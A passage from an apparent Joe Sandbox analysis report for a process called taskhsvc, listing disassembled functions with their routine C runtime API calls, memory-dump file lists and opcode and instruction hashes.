                                        • Instruction ID: 30af6c9e954ff8487c32ca2fcd8d75635899626f802ef541331a2a294b4459a7
                                        • Opcode Fuzzy Hash: 96e2a6f751913c389eed4ddc399e98f113d44e8890410c1454d6422bf8e8d3a4
                                        • Instruction Fuzzy Hash: 732127B09083099FDB00EFA8C0852AEBBF0FF44354F41882DE498AB341E7789584DF66
                                        Function 00D214A4 Relevance: 6.1, APIs: 4, Instructions: 59stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D35D24), ref: 00D214FA
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D35D24), ref: 00D2153C
                                        • strncpy.MSVCRT ref: 00D21566
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D35D24), ref: 00D21584
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$strncpy
                                        • String ID:
                                        • API String ID: 4131076314-0
                                        • Opcode ID: f5dd4303f2a480e91b76c35a84560cc798214abad2a88d60c0e33066c110109c
                                        • Instruction ID: bfe041f86a30e1d08a604986893a67db20ac9242e44979b926d1f37934919e00
                                        • Opcode Fuzzy Hash: f5dd4303f2a480e91b76c35a84560cc798214abad2a88d60c0e33066c110109c
                                        • Instruction Fuzzy Hash: E321C0B49043199FCB00EFA8D5465AEBBF1FF88344F458818E894AB341D778D541CB62
                                        Function 00D21664 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00CD476C), ref: 00D216BD
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00CD476C), ref: 00D216FC
                                        • memcpy.MSVCRT ref: 00D21726
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,00CD476C), ref: 00D21744
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$memcpy
                                        • String ID:
                                        • API String ID: 4055433727-0
                                        • Opcode ID: 67624c92f0ef1a3426242cbb59e38db4f7c165640cabd45e5450c20e04c927f6
                                        • Instruction ID: 6c739b8f07993c151149b485315513b76f6452ddfa9b66a88386f013f8c4539e
                                        • Opcode Fuzzy Hash: 67624c92f0ef1a3426242cbb59e38db4f7c165640cabd45e5450c20e04c927f6
                                        • Instruction Fuzzy Hash: 3921D4B49043199FCB00EFA9D5556AEBBF1FF88354F05C818E994AB351D778D440CB22
                                        Function 00D2888C Relevance: 6.1, APIs: 4, Instructions: 58stringlibraryCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: LibraryLoad__stack_chk_failstrcatstrlen
                                        • String ID:
                                        • API String ID: 317683016-0
                                        • Opcode ID: 23178bda7ce130b454d383226fb62ccbef91826d350d503430f85cdd81fda504
                                        • Instruction ID: 32c67c87a406437d38c1225b6539fad945af30d364e72823e93039bece21042b
                                        • Opcode Fuzzy Hash: 23178bda7ce130b454d383226fb62ccbef91826d350d503430f85cdd81fda504
                                        • Instruction Fuzzy Hash: 3B21E570E002188FCB14EF28D9467DDB7F1EB49304F4585A9E658EB340E674AE858FA6
                                        Function 00D2158B Relevance: 6.1, APIs: 4, Instructions: 54COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D215E4
                                        • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D21623
                                        • memcpy.MSVCRT ref: 00D2164A
                                        • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D13E8F), ref: 00D2165D
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortstrrchr$memcpy
                                        • String ID:
                                        • API String ID: 4055433727-0
                                        • Opcode ID: 2b9c68b19589650173fb422b0c0406e6e94808d0e50af3e34657a9f534b3c848
                                        • Instruction ID: 67917ce55bc729cb18d8df55a88bea6c991df19919282a56563f81ea1727618b
